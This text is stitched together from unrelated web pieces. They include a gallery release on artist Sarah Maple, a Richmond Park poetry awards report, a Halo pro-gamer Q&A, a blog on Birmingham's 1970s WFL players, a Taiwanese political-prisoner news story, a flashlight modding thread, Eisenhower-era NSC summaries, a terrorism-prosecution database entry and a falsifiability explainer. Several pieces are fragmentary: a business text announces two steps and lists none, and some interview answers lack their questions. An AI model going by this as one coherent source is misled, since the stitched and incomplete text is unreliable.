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The Untitled Space opens a solo exhibition of works by artist Sarah Maple
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NEW YORK, NY.- The Untitled Space gallery presents, "Thoughts and Prayers," a solo exhibition of works by artist Sarah Maple, curated by gallery director Indira Cesarine. Sarah Maple is an award-winning visual artist known for her bold, brave, mischievous and occasionally controversial artworks that challenge notions of identity, religion and the status quo. Hailing from Britain, this is the first solo exhibition of the artist in the United States. Much of Maple's inspiration originates from being raised Muslim, with parents of mixed religious and cultural backgrounds. "Thoughts and Prayers" features many new works, as well as a selection of some of her most notable past works, exploring a wide variety of media including performance, painting, photography, sculpture, collage, installation, and video. Maple's pro-feminist artwork provokes a dialogue with her sharp humor and satirical eye. She fearlessly addresses what it means to be a Muslim in the Western world. Her taboo-breaking artwork fights against censorship as she investigates themes of politics, violence, freedom, feminism, and the ironies of pop culture. She often employs self-portraiture as a vehicle for her narrative, or engages guerrilla-style performance as a means to convey her message.
"Using her own image, and drawing on her experience as a Muslim woman, Sarah tackles society's many taboos, elevating those previously oppressed, and giving voice to those long since silenced." i-D Vice
"Maple has made a name for herself over the years for pushing the boundaries of femininity, and for publicly discussing the convergence of her dual-Muslim heritage with feminism. Rather than crumble, Maple has an impressive resolve in the face of cyber adversity: she tries to laugh instead of cry... Maple hopes to examine where freedom of speech ends and abuse begins." – Dazed Digital
"Maple could well be the only artist to take on the Kardashians (with her 'Keeping Up With The Kapulets' show), stereotypes around Islam (with her 'I Love Orgasms' acrylic), and the taboos around menstruation (with her 'Menstruate With Pride' triptych). She has received a flurry of glowing reviews – and even more death threats." – Good Trouble
"I think we need to be challenged, we need to hear challenging, radical, provocative things, even if we don't agree with them, as it's those things that make us react and make us want to bring about change…" Sarah Maple for TEDx
Sarah Maple graduated with BA in Fine Art from Kingston University London in 2007 and in the same year won The Saatchi Gallery's "4 New Sensations" award for emerging artists. Maple's artwork, film, and performances have been exhibited internationally at galleries and institutions including Tate Britain, The Barbican, AIR Gallery, and The New Art Exchange, among many others. Maple's work has been the subject of documentaries including for ARTE and VPRO. In 2015 she released her first book "You Could Have Done This," a hardback of selected works. The same year she was awarded a Sky Academy Arts scholarship from Sky Arts, which included funding, mentoring and a Sky Arts documentary. In 2017 she gave a TEDx talk in Birmingham, UK on the importance of free speech, titled "The Freedom To Be Challenged."
Her work has been featured in numerous international publications, including Vogue, The Guardian, i-D Magazine, The Sunday Times UK, The Independent, People Magazine, Dazed, and the Huffington Post among many others. In 2018 she was invited to make a limited edition cover for Harper's Bazaar's art issue alongside artists including Yayoi Kusama, Barbara Kruger, and Linder Sterling. Her artwork is in collections including Soho House, The Hyman Collection and the Ned. Sarah lives and works in Sussex, England.
"My work is largely motivated by my upbringing as well as my interest in activism and gender politics. Citing current affairs I create works that provoke the viewer through satirical, tongue-in-cheek commentary. My mother is a Muslim from Kenya, who married my British father in the 1970s. She raised me as a Muslim in the UK and sent my siblings and I to a Catholic school. Much of my work examines the duality of my multicultural upbringing and the conflict of identity among young Muslims living in the western world. I began to explore these themes after reflecting on Muslim identity in Britain post 9/11 and 7/7 and the impact of the Iraq war. Motivated by the current political climate and being from an immigrant background, these subjects are close to my heart as I question notions of identity, belonging, and "otherness" in my works.
I see many parallels between the UK and the US, especially with Brexit and the Trump election. The gun debate is something especially intriguing to the British. The threat of terror is continually focused on and yet nothing is done about gun laws. When officials offer up "Thoughts And Prayers," it appears hollow and insincere. I am interested in how a lack of action directly and/or indirectly inflicts suffering and potential violence on its citizens.
Also inspired by feminism and gender politics, my work aims to challenge deep-seated ideas about what it means to be a woman. I am interested in the role shame plays in women's lives - how we take up space in the world, our physical appearance, bodily functions and "blame culture." I explore the ways we can change the visual narrative for women as a form of empowerment. The medium I choose is determined by the strongest way to deliver my message; hence it is constantly evolving across a wide variety of media. Self-portraiture, for example, offers the possibility of taking ownership of our image. When we photograph ourselves, we have complete control over how we want our selves, our gender, our femininity, and our sexuality to be perceived by others. Humor is also an important element in my work. I often use a "Trojan horse" to get my message across and sometimes I just like to point out the obvious as this can be the most direct way to highlight how ridiculous something is. I used to accept a lot at face value but when I discovered feminism it motivated me not only to question the role of women, but also the preconceived ideas relating to all things in society." – Artist Sarah Maple
Maple's exhibition is the first of a series of solo exhibitions presented by The Untitled Space throughout 2019 featuring artists with an extraordinary body of work that aligns with the gallery's mission to promote women in art and unique voices that are underrepresented.
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This capacious (520 pages) anthology has selections from the authors you would expect to find, from others you may be less familiar with, and from writers you might not expect to show up in this company. The result is a treasure trove of unusual fiction, one of the most exciting anthologies to appear in the last decade. This is a poet's companion, a student's delight, great bedside reading: the kind of book you'd take to a desert island!


On Sunday 6th November, 22 hopeful poets and various notable literary names gathered at the Royal Ballet School in Richmond Park for the Poems in the Park 2011 awards presentation, as part of the Friends of Richmond Park society's 50th anniversary celebrations.
The competition, a first for Richmond Park, invited aspiring poets in the three age ranges of 12 and under, 13-18 and 19+ to submit poems relating to Richmond Park. Over 650 entries were received, a staggering amount for a first time venture on this scale, and had to be whittled down to just the 22 shortlisted finalists by five distinguished judges, including famed children's author Dame Jacqueline Wilson and the renowned journalist and newsreader Sir Trevor McDonald. Other judges included film-maker Paddy Hughes, editor of the Richmond magazine Richard Nye and journalist Fiona Adams, editor of the Kingston magazine.
The presentation opened with words from Ron Crompton, the head of the Friends, who stated that the 50th anniversary year had been tremendous for them and that the ceremony was the last of three celebratory events.
Next, the establisher of Poems in the Park, Richard Gray, spoke about the commitment and dedication put in by both entrants and judges for the competition. He described the seasonal nature of the competition, how it got off to a slow winter start, and after the blossoming of entries in the spring and summer: "We're in the autumn, and we've got the fruits of your labours". He explained how he and a handful of volunteers had to wade through the 650 entries until a long list of 53 were left. These were subject to the final judging process involving the five main judges on 27 September at Pembroke Lodge.
Following a short speech from Richard Nye, Jacqueline Wilson took to the stage to speak about her relationship with Richmond Park. She described it as "such a magical place", having visited it since her childhood. She also explained how Richmond Park has cropped up in some of her works, most prominently in a recently made poetry anthology entitled Green Glass Beads, and Lily Alone, a novel release earlier this year. Then, she spoke on the sheer quality of entries, stating: "I'm a veteran of judging children's poetry competitions, but these entries were truly outstanding. It's maybe a combination of the talent of our local children and the inspiring beauty of Richmond Park".
It was then time for the winners to be revealed. For every age group, the poems were read out by three actors and the runners up and winners were announced. Ancient trees, deer, the Isabella Plantation and the democratisation of the Park were among the broad variety of themes influencing the poems, and most poetic styles were represented. The dulcet tones of the actors granted an extra depth and dimension to the poems, immersing the audience and providing a true feel for the poems. The winners were: 12 years and under: Lost in the Park - Edward Pearson, 8 13 – 18 years: The Fern – Louis Sutcliffe, 14 18 years + (Joint winners): Kingfisher, Beverly Brook – Chris Rice September – Patricia Moore The poems submitted for Poems in the Park have proven that Richmond Park is not only an area of natural beauty and historical significance, but also a mine for literary gold. Hopefully the competition will continue for years to come based on its popularity, and cement Richmond Park as the place of wonder it deserves to be.


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Don't use words like she or her with messages like that, because it can cause confusion about which person is being referred to. Unless there is no possibility of ambiguity it's better to state a full name, and include surnames in the text of your message, because they can easily be missed if they're only listed in the message title.
Maiden surname or married surname. ?
These dates aren't an exact match, but they're close, as is the name combination, but it may just be a coincidence.


Welcome to The Show! On Friday, Major League Gaming player Michael Chaves, aka Flamesword, will stop by to chat about his experience in the MLG.
Chaves is the captain of the professional gaming team, Status Quo. "Flamesword" leads a young and talented squad, considered to be one of the top teams to watch out for in the 2009 Major League Gaming season. Recognized by fans as one of the top up-and-comers, Flamesword looks to reach the top echelon of the MLG ranks this year.
Send your questions now and join Flamesword in The Show at 4 p.m. ET Friday!
Thanks for being such a big support to us as fans! Our fanbase has definitely increased, and I want to thank you guys for it.
How much time did you devote to playing halo before you got accepted into the pro-gaming community.
I stopped playing Halo 2 in '07, so when Halo 3 came out, I played about 6-8 hours a day. I met a good group of guys in the beginning, and from there, it went really well.
With 09' right around the corner and new teammates on Status Quo what/ who is SQ's biggest rival?
I don't even know. I don't feel we've played a team that's a rival yet. We're pretty chill with all the other teams.
how is your team chemistry coming together?
It's coming together great. We're learning so much from StrongSide and Ace, from what they've done so far in their careers.
What was your most memorable moment of the 08 season?
Toronto. Finally placing into the Top 12.
Four sensitivity, default controller, and I claw with no vibration.
how do you reccomend people get their teamwork and teamshot better?
To get your teamshot better, the whole team just has to be going in groups. They can't be doing individual fights by themselves. To get the chemistry down, teams shouldn't worry if someone goes negative on a team. It's alright if that happens, so long as you win.
What is your strongest map and gametype?
Strongest map and gametype would have to be Narrows and Capture the Flag.
What do you predict to be the outcome of your next LAN?
Today we're going to start LANing Triggers Down. I usually don't predict, but I'm confident we're going to win it.
Definitely his leadership and his experiences playing Halo. He used to be on Final Boss, and he learned so much from the original members of that team.
I think we'll do really good. If all four of us are on fire, I think we will place very high.
It seems like you're always the guy that is being sneaky to give your team the edge. Any tips for aspiring sneaky?
When you're trying to be sneaky, you have to make sure your team is distracting for a couple seconds. They have to stay alive so you can make a perfect flank.
Flamesword, I know that since you're still a rising player you know a lot about the upcoming players, and you play with some people that might not get enough recognition. In your opinion who are the top 3 upcoming players?
I do play with a lot of unknown players. The top guy that I think will break through is NocturnalColonel. I see him making a big impact in '09.
You are being considered by most the next breakout player in 09. How do you think your going to handle the pressure this year?
I don't really see the pressure being a problem. In the '08 season, I got a lot of hype and I think it helped me play better. I had more people behind our team, and I think it helped me play a lot better.
Just wanna give a shoutout to Big Joe, our main sponsorship guy, who is also Todd's Dad. He's been helping us out with a lot of stuff. My graphics adviser Tyler, my good friend Mason, and all our fans: keep growing and growing.


When the WFL came to Birmingham, one of the big selling points with fans was the fact that there were several players that played their college football at Alabama & Auburn. While many fans may not have cared as much, there were many fans who bought tickets primarily to see some of their old favorites from the Crimson & White or the Orange & Blue. When the 1974 season kicked off, Birmingham faced the Southern California Sun and the game was a tight, tense defensive battle, that was full of drama and big plays. And turnovers.One of those former Bama players was DB Steve Williams. Williams was known for being a reliable DB, but his main calling card was his speed. Williams could fly. With the Ams trailing the Sun 7-3 as the 4th quarter began, the Sun had began a modest drive when Tony Adam threw to his WR, Dave Williams. However, Ams DB Steve Williams diagnosed the play and darted in front of the Sun's Williams and picked off the pass at around the 48 yard line and sprinted untouched into the endzone for the very first Ams touchdown. This proved to be the winning margin as, after the action point, the AMs held on for a tense 11-7 victory. It began a 10 game unbeaten run for the '74 season that would end with the AMs posting a 15-5 regular season record and a 17-5 final record and a World Bowl Victory. Steve would not finish the year with the Ams, as a flurry of midseason personnel changes came about.
When the 1975 Season began the Americans were now known as the Vulcans. And with the new season, brought about another former fan favorite joining the fold. Former Crimson Tider Johnny Musso, who finished his playing days in Canada to join the hometown team in the WFL. Musso delighted fans by scoring a TD in a preseason scrimmage against the Memphis Southmen, who had made a splash with their signing of Larry Csonka, Paul Warfield, & Jim Kiick. When the 2 teams met again at Legion Field in October, Musso, again, scored. His TD was the final points in a 21-0 shutout of the Southmen. What no one knew, at the time, was that Musso's TD proved to be the very last TD ever for the Vulcans. Later the following week, the WFL folded.
It's really ironic that the first and last TD's ever scored for Birmingham's WFL teams were scored by former Bama players. I had a conversation with the late Lee Davis back in 2004, and when I pointed out this fact, Lee, who was an incredible repository of football knowledge, was surprised to hear this and to which he quickly agreed that it was a strange tidbit of info. It was the first, and probably only time, that I ever told Lee something Alabama football related that he didn't know.
Just one more reason to miss the WFL and also to miss our old friend Lee.
For the love of Phil Neel!
Anyone who grew up in Alabama, or the Southeast, during the 1960's or later most likely has seen some sort or Phil Neel art associated with sports. Neel, who is credited with creating Auburn University's mascot "Aubie", created loads of artwork for Auburn football program covers during the 60's & 70's, as well as several other schools. My first exposure to Neel's work came during the early 1970's when I would see my Uncle Don's game program from the game he and my Aunt Gail had attended on a recent weekend. I also saw them at my high school, when the football team would receive one of Neel's prints chronicling the football season. I was enamored with this art work and always liked it. I even had one of Neel's Alabama posters in my room during the 1970's. Neel created artwork for the Birmingham Americans, with two posters celebrating the Ams (at least these are the only 2 that I'm aware of). These were fantastic, but in 1975 the Vulcans got in on the Phil Neel cover-work-on-on-the-program trend. They were super. Neel's work was re-used for the Vulcans games against Memphis & Chicago, as well as games against Charlotte & Portland. The games against Southern California, Shreveport, & San Antonio all got their own "Phil Neel treatment". Even a Vulcans schedule poster got in on the act. It was awesome. While I have always loved Neel's work, I never really grew to appreciate it until my adulthood, while accumulating some of these fantastic artifacts. These are true gems, as was Neel, who passed away in 2012.
In the summer of 1975 Dennis Homan, Johnny Musso, & Larry Willingham all appeared in a preseason publicity shot heralding the arrival of the Vulcans. The Americans had won the 1974 World Bowl but due to numerous financial struggles the WFL football team residing at Legion Field would no longer be known as the Americans. Given Birmingham's long-standing status as the Vulcan city primarily because of the large Vulcan Statue high atop Red Mountain and the long established steel industry in town, the team became known as the Vulcans. In the photo, shot at Legion Field,(which incidentlaly was sporting a newly installed field of astro-turf for 1975) the 3 Vulcans players sported the familiar red, white, & blue uniforms, and held a helmet with the new Vulcans logo. Apparently the helmets were so new, the facemask wasn't even mounted yet. But looking at the jerseys that they were wearing, one notices a glaring difference. No sleeve stripes. However, when the Vulcans kicked off the '75 season, there they were, wearing the familiar striped sleeves that their predecessors, the Americans had worn. The jerseys without the stripes? Never seen again.
Warren Capone was widely known as a hard hitting linebacker during his playing days at LSU. He was recognized as an All-American during his junior and senior years. However, The NFL didn't draft Capone following his playing days, but when given the opportunity to sign with the WFL Capone did so. He signed with the Birmingham Americans in 1974 and Capone used the opportunity to earn the starting middle linebacker job. He was not only the hard-hitting heart of the defense he was also one of the leaders, both on and off the field. Following the Ams World Bowl winning season, Capone returned to the field for the Vulcans in 1975, resuming his intimidating ways at the heart of the defense. When the WFL abruptly folded, Capone went on to play for the Dallas Cowboys, blocking a punt in Super Bowl X. Following his time with the Cowboys, Capone had stints with the Tampa Bay Buccaneers and the New Orleans Saints before retiring from football.
Capone was always a rock solid presence on the defensive side of the ball as well as fan favorite.
George Mira did not come to Birmingham as an unknown player. "The Matador" had faced the Alabama Crimson Tide in the early 1960's and many were familiar with him and his exploits. Mira played for the University of Miami Hurricanes and went on to play in the NFL for the San Francisco 49ers, the Philadelphia Eagles, and the Miami Dolphins. He also played in the Canadian Football League. In 1974 he signed to play with the Americans and became the starter, leading Birmingham in passing statistics while establishing himself as one of the marquis players in the WFL. Mira set the record for the longest touchdown pass from scrimmage, a 95-yard bomb to Alfred Jenkins against Hawaii. Mira also distinguished himself by winning the MVP award in Birmingham's 22-21 victory over Florida in the World Bowl.
George attended that 30th Anniversary Reunion in 2004, where he was one of the most popular among those in attendance.
In 1975 Mira finished his career with the WFL's Jacksonville Express.
Ed Foster was an offensive tackle at the University of Oklahoma from 1970-73, and was an All-American in 1973 as well as team captain. When Foster's collegiate career ended, he was drafted by the Jacksonville Sharks of the WFL, as well as the New England Patriots of the NFL. Ed signed with the Sharks and quickly established himself as a fixture on the offensive line. Unfortunately, the Sharks organization wasn't on as stable footing as their offensive line was. The team folded 14 games into the season, leaving Foster and many other players in limbo. Fortunately, Foster was quickly signed by the Southern California Sun for the remainder of the 1974 Season. In 1975 Foster signed with the CFL, but roster rules regarding the number of Canadian and American players on the CFL roster resulted in Foster being released. His inactivity was quite brief as the Birmingham Vulcans called and signed Foster. The 1975 WFL season was already beginning, but Foster had no trouble gaining a place on the offensive line at left tackle and, once again, became a pillar of the O-line. Foster was a starter through the abbreviated 1975 season when the WFL abruptly folded and ceased operations.
After Ed's football career ended, he and his family moved to Norman Oklahoma where he established a career in specialty insurance as a business owner and chartered life underwriter. He also was active in coaching youth sports for over 30 years, as well as taking an active part in the ministry in his church and on the mission field.
On May 15, 2015, Ed Foster left this world, as a result of a heart attack, but his influence is still felt by those who knew him or were impacted by his work for his community, his church, and his Lord.
Some time after Foster's death, a collector of WFL memorabilia, known to this blogger, made contact with Kim Foster, Ed's widow, and, quietly, without fanfare, sent Kim 2 items that Ed wore during his playing days in the WFL; his Southern California Sun jersey and his Birmingham Vulcans helmet.
Kim continues to care for their 5 children and 8 grandchildren. On a trip with one of her sons this past September, the traveling party made a brief stop in Birmingham, visiting venerable Legion Field, to visit one of the last places that Ed played professionally. One of their grandsons (and Ed's namesake) is pictured on the same field where his grandfather played over 40 years ago.
To quote a passage in Ed's obituary, In every area of his life, Ed encouraged others with his strength, gentleness, wisdom, and wit. He lived out his favorite scripture: "He has shown you, O man, what is good; And what does the LORD require of you but to do justly, to love mercy, and to walk humbly with your God?" Micah 6:8.
Even though I missed the "feature film" that was Ed's life and work, the 30-second trailer has been enjoyable to witness, thanks to Kim's faithful narrative.
When the Birmingham Americans won the inaugural World Bowl in 1974, most of the players were presented with championship rings. There were some who did not receive rings due to contractual obligations, ie: the players who did not sign with Birmingham in 1975 did not receive rings. One of the players who received a ring, and wore it proudly was defensive lineman Dickie Trower. Trower was one of the fixtures on the dee line for the Ams & Vulcans, teaming with Bob Tatarek, John Andrews, Jessie Wolf, Harry Gooden, Larry Estes, Butch Brezina, & John Baker to make a formidable defensive front for the Ams & Vulcans. Trower wore his ring with pride and on occasion would show it to anyone who inquired about it. Trower, who works for a resort development in Northern Virginia, was speaking to potential clients one afternoon last year, when one of the group asked about his ring. Dickie took the ring off and showed to the curious patron. Afterwards, Dickie was distracted and went to take care of a business related matter,but returned some minutes later to retrieve the ring, but the people who were in the room, along with his ring, were gone. Dickie looked for the ring as well as those who might have it to no avail. Days and weeks passed, with no luck, while Trower was sickened at the prospect of losing his championship ring.
Trower's nephew, Greg Vaughn, upon hearing of the loss of the ring, began a mission, of sorts, to replace the ring. Greg contacted Jonsil, the manufacturer of the rings back in 1974, and attempted to order a replacement. The process was quite protracted and at times frustrating, with the details of the original ring finally being replicated after multiple draft models.Vaughn was successful in his efforts, which proved to be Herculean at times. Ultimately, Greg was able to present his uncle with the replacement ring, which is a perfect match to the one that was lost. While Dickie's original ring is still out there, somewhere, its good to know that he can, again, show his World Bowl ring proudly to any and all who may see him. And he can also boast about a very loyal nephew.
Alfred Jenkins grew up in Hogansville, GA and played college football at Morris Brown College. Jenkins was not a hot commodity coming out of college, but was signed by the Birmingham Americans with thoughts that he might be a good kick return prospect. While he did return punts for the Ams, he also worked his way into the starting wide receiver rotation and ended up becoming a hot commodity in the Birmingham offense. Jenkins gathered in 60 receptions (second only to Dennis Homan's 61) for a whopping 1326 yards & 12 TDs. He also returned 30 punts for 262 yards. His play earned him the team's MVP trophy, All-WFL recognition, and the admiration of Birmingham fans. When the '74 season ended, Jenkins signed with the NFL Atlanta Falcons. All he did there was play for 9 years, catching 360 passes for 6267 yards & 40 TDs. He played in 2 Pro Bowls & made all NFL in 1981 where he led the NFL in receiving yards & TDs. recently he was named the number 24 of the top 50 Atlanta Falcons in team history in a survey by the AJC He was a fan favorite and a joy to watch.
Former Birmingham Americans & Vulcans tackle Bob Costa passed away recently at the age of 73. Our thoughts & prayers go out to his family.


As an executive or business owner your job is to get all the company staff doing what they are supposed to. Everything depends on that, including everyones salary and the success of the company. At a simplistic level there are only 2 steps you need to worry about.
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However there is a "Standard" set of roles that a company must have to make Salesforce.com the success it should be, you'll need to have these roles. They don't have to be full time to start with, so you can have existing staff hold the post until the time required demands someone full time. But for now make sure the role is held by someone.
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Lancaster County veterinarian spends weekend in cage for charity
The co-founder of the Pet Pantry of Lancaster County is spending the first weekend of summer in less than desirable c...
Updated: Jun 25, 2018 10:05 PM
The co-founder of the Pet Pantry of Lancaster County is spending the first weekend of summer in less than desirable conditions.
Doctor Bryan Langlois is being held inside of a cage on top of the Pet Pantry in Manor Township.
According to Langlois, he was arrested for organizing an illegal flea circus and sentenced to cage confinement unless $10,000 "bail" money can be raised.
Langlois says the money will go to a number of places, including to help provide pet food to lower income families.
"It does really kind of show also what some of the animals go through. You know when they have to be caged in a shelter environment like that for long periods. You know, we learn from this as far as way to maintain enrichment and things like that. But kind of like I said, if I have to go through a little bit of suffering over a couple of days to raise money to help some of the animals that are need and probably suffering a lot more than this, you know, I'm more than willing to do that," said Langolis.
The money would also help toward a new anesthesia machine, allowing the pantry to do more lower cost spay and neuter to reduce pet population in the county.
We're told Dr. Langlois is only being let out of his cage for bathroom breaks and if an animal needs emergency care.
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 Máv Állomás Hajdúnánás Facebook-oldal
 Hajdúnánás Forrás: Képek a régi magyar vasutakról és vonatokról. Gyökér István, Dr. Kubinszky Mihály, 1991 (Közdok)
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US lists Taiwanese as political prisoner
IN THE SYSTEM:Rights activist Lee Ming-che is the first non-Chinese that the US Congressional-Executive Commission has ever named as a Chinese political prisoner
By Lu Yi-hsuan and Jonathan Chin / Staff reporter, with staff writer
Human rights activist Lee Ming-che's (李明哲) name has been added to the US Congressional-Executive Commission on China's (CECC) database of political prisoners, a first step toward US efforts to help win his release.
The commission informed Lee Ming-che's wife, Lee Ching-yu (李凈瑜), of its decision via a formal letter, sources said yesterday.
The letter said Lee Ming-che could be put on another list of priority political prisoners that the US Congress might submit to US President Donald Trump ahead of a state visit to China, sources said.
Lee Ming-che, who was reported missing after traveling to Zhuhai in Guangdong Province from Macau on March 19, is identified by the database as a political prisoner detained by Chinese authorities.
On March 29, China's Taiwan Affairs Office acknowledged that he had been detained by "relevant authorities" for "involvement in activities that threaten China's national security."
However, it was not until May 26 that the Chinese government announced that he was being held on suspicion of the "subversion of state power."
Last month, Lee Ching-yu traveled to Washington so she could testify before the US House of Representatives' Foreign Affairs Committee subcommittee hearing on "Disappeared, Jailed, and Tortured in China," alongside three Chinese women whose husbands are detained Chinese human rights lawyers.
Taiwan Association for China Human Rights secretary-general Chiu Ling-yao (邱齡瑤) yesterday said that "Lee Ming-che's being put down in a [CECC] record suggests a good possibility of him being included in a list of human rights cases to be presented during a US-China summit in China."
The US government has cited the Taiwan Relations Act for its involvement in Lee's case, and a US Department of State official said that any harassment or threats made against Lee Ching-yu, or the others who testified at the congressional hearing about the imprisonment of Lee Ming-che and Chinese human rights lawyers would be considered "a violation of US sovereignty," Chiu said.
"The US Congress has never made such a strong move in dealing with the detention of a Taiwanese," Chiu said.
"Public and international attention is needed when rescuing political prisoners, and the scariest thing [for prisoners] is that no one cares about them," she said, calling for renewed public attention on Lee Ming-che's arrest.
The commission, created by the US-China Relations Act of 2000, is responsible for "monitoring the acts of China which reflect compliance with or violation of certain human rights," and it annually reports to the US president and the Congress.
The commission is responsible for advising the president, members of Congress and senior US officials on human rights issues in China prior to diplomatic visits, in addition to compiling annual reports on rights issues in China.
In addition, the commission is responsible for compiling a list of political prisoners whose release US officials are to advocate at diplomatic talks with their Chinese counterparts.
Last year, Senator Marco Rubio, the commission's chairman, and US Representative Christopher Smith, its co-chairman, sent a letter to the then-US president Barack Obama urging him to authorize the compilation of a list of Chinese political prisoners and raise human rights as a major topic of discussion when he met Chinese President Xi Jinping (習近平).
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I got a Solarstorm T3 from a hungarian flashlight forum member for repair. The driver was completely dead and very beaten up by removing so I adviced him to buy a BLF Q8 instead because it is cheaper than repair. It needed a completely new driver or piggybacking. He decided to leave the light at me and I can do with it whatever I want.
After about a half year I had some leftover XP-L HI leds on DTP copper MCPCB-s from Convoys and by mistake I made a driver on a wrong diameter board for a friend's H03 so I decided to put them together.
I cleaned the stock driver except from switch connector.
putted on a beefy contact ring from another dead driver.
Untwist the tube center piece to reveal screws.
The springs only soldered on the other side. It is interesting how spring end goes to center and then through board. But this increasing resistance. Also the only electrical contact with tube was through the screws threads cutted in the metal. The tube all anodized there.
So I sanded off the anodizing and made spring bypasses to the screw holes and soldered them there. Also replaced screws with much longer ones.
Leds work and no shorts.
Putted in a thermal silicone to transfer heat from shelf to small driver for better thermal throttling.
A lot ground vias ripped off from edge so I needed to beef up the ground ring some way. It is not pretty but works. cutted in the old driver edge and soldered 3 pieces of solder wick. And made a hole for positive led wire.
Used some component places on the old driver as resistors for switch leds and switch wire soldering points.
The new driver in the cavity with some kapton tape to avoid shorts. But the atmel top remained uncovered on other side.
Small sponge to press the driver against the heat silicone block.
The green led is always on and the red is controlled by Andúril.
As you can see I had one warmish led and two cool white 1A leds. I don't care because this light is made from what I had from other lights.
It turned out that the switch is not the best so sometimes andúril is acting weird because of bouncing. So I will replace the switch soon. But it works mostly OK.
Not the cleanest and prettyest works from me but I used a lot of things in that which are just collecting dust on the shelf.
I'm still at work so I have no measurements but I will update this post when I measured it. I hope it is above 3000 lumens.
Wow great mod. Can't believe those 20's fit just perfect like that.
Idk why but seeing projects like this with drivers piggybacked are always some of my favorite, seeing how other people solve problems and get things to work.
The T3 is a nice looking host. I like it.
Same here. It reminds me of when I first discovered modding on this forum.
I made a measurement with samassung 30Qs and it puts out 3672 lumens at start.


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MELANIE: Broadway show
"I USED to love Melanie's songs like Brand New Key and Ruby Tuesday in the early seventies," writes Bizarre reader Steve Cohen from Luton, Beds.
"What happened to her?"
Melanie, now 38 is living in suburban bliss in the American state of New Jersey with her husband and three kids.
She is working on a new Broadway show called Calamity Jane-and hoping to play a few small shows in Britain before Christmas.
Note: Play was called "Ace of Diamonds" -- never actually made it to Broadway. -DJB


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Eisenhower's presidential inaugural address after his election in 1952.
Memorandum of Discussion at the 136th Meeting of the National Security Council
The US National Security Council discusses the effect that Stalin's death had on Soviet policy and on Communist Parties outside of the USSR, as well as the opportunity it provided the US to use Stalin's death in a psychological strategy to influence the Soviets. The Council also discusses the possibility of negotiations for a settlement with the Soviets in Korea.
Minutes of Discussion at the 150th Meeting of the National Security Council, 18 June 1953
The US National Security Council discusses recent release of prisoners of war in South Korea. The riots and disturbances in East Germany and Czechoslovakia are discussed in the context of the general "softening" of Soviet policy. The Council also discusses the possibility of a four-power meeting, and other alternative courses of action.
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American response to East German protests, plans of action toward the Soviet Union, question of defectors from socialist countries, implementation of passive and active resistance in socialist countries.
Letter from President Eisenhower to Field Marshall Montgomery of Alamein
In a personal letter to the Field Marshall regarding to his assumptions made in a memoranda, President Eisenhower presents an opposing view that the successful integration of West Germany into Western Europe would increase pressure within East Germany for reunification.
President Eisenhower to the President of the Republic of Korea (Rhee)
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Michael Robert Solomon and Benjamin Ryan Teeter were members of the right-wing Boogaloo movement and a group known as the "Boojahideen." A paid witness reported to the FBI that an armed Solomon was patrolling streets in Minneapolis during the civil unrest after a white police officer killed a Black man by kneeling on his neck for eight minutes. An FBI informant, posing as a member of Hamas, contacted Solomon and Teeter on Facebook. The informant introduced the two men to an undercover agent, who also posed as a Hamas member. Solomon and Teeter allegedly offered themselves as "mercenaries" to Hamas. The undercover agent then engaged Solomon and Teeter to build parts that could be used to convert a gun to fully automatic fire.
This database of terrorism prosecutions and sentencing information was created using public records including three lists of prosecutions from the U.S. Department of Justice (from 2010, 2014, and 2015), court files available through the federal judiciary's case management system, DOJ press releases, and inmate data from the Bureau of Prisons. For each defendant in the database, U.S. criminal code data related to charges has been categorized according to this legend.
Trevor Aaronson created the first iteration of this database as part of a project funded by the Investigative Reporting Program at the University of California, Berkeley. Mother Jones magazine published that data in 2011, along with accompanying articles, in a package that is still available online.
Beginning in 2016, Aaronson and Margot Williams collaborated to update and expand the database, with a new emphasis to include Bureau of Prisons data because so many post-9/11 terrorism defendants had been released. The cases include any prosecutions after September 11, 2001, that the U.S. government labeled as international terrorism-related. The Intercept first published this database on April 20, 2017, and it was last updated on .
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"All swans are white" can be proven false. It is falsifiable statement, since evidence of black swans proves it to be false, and such evidence can be provided.
Falsifiability is a concept from philosophy of science that says that it is possible to prove that a theory is wrong. There are different ways in which can be done. The easiest way to do it is to find an example where the theory should apply, but somehow does not. As an example: Swans are birds related to ducks and geese. Today, several species of swan are known. For most people in Europe, a swan is a large white bird: The only species of swan that occurs in Europe is white. Several hundred years back, people in Europe therefore thought that all Swans were white. In 1697, the Dutch explorer Willem de Vlamingh found black birds that looked like swans, during an expedition on the shores of Swan River, in Australia. Later, it turned out these birds were indeed swans. With his discovery, de Vlamingh had falsified the theory that all Swans were white.
Kurt Gödel showed that certain propositions inside a system of logic cannot be proved inside that system.
Falsification is to actually prove that a theory is wrong. This is done in the following way: There is a set of statements (which are logically sound, and do not contradict each other) called theory. If a single logical statement can be found, which is also logically sound, and which contradicts one of the statements in the theory, then the theory is proven wrong. This can be done with observation, as in the example with the Swans above. It can also be done using mathematical logic, using induction.
Karl Popper had the opinion that only theories that are falsifiable are scientific. Falsifiability is then a line between science and other kinds of knowledge: if it can be refuted, it is science; it if cannot, then it is not science. Many working scientists think Popper was right.
Not everyone agreed with this: Pierre Duhem and Paul Feyerabend had different ideas. Feyerabend's Against method (1975) argued that there was no one scientific method. Instead, whatever works, works and anything goes. This is called epistemological anarchy.
Duhem's idea was more subtle. He thought that for any given set of observations there is a huge and uncountable number of explanations. According to Duhem, an experiment in physics is not just an observation, but an interpretation of observations by means of a theoretical framework. Furthermore, no matter how well one constructs one's experiment, it is impossible to subject an isolated single hypothesis to an experimental test. Instead, it is a whole interlocking group of hypotheses, background assumptions, and theories that is tested. This thesis has come to be known as holism. According to Duhem, it makes crucial experiments impossible.
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Age Range: 1909 - 2001
A friend and noted scholar of the graciously skilled Southern author fashions a beaming, hefty salute to her long, fruitful life.
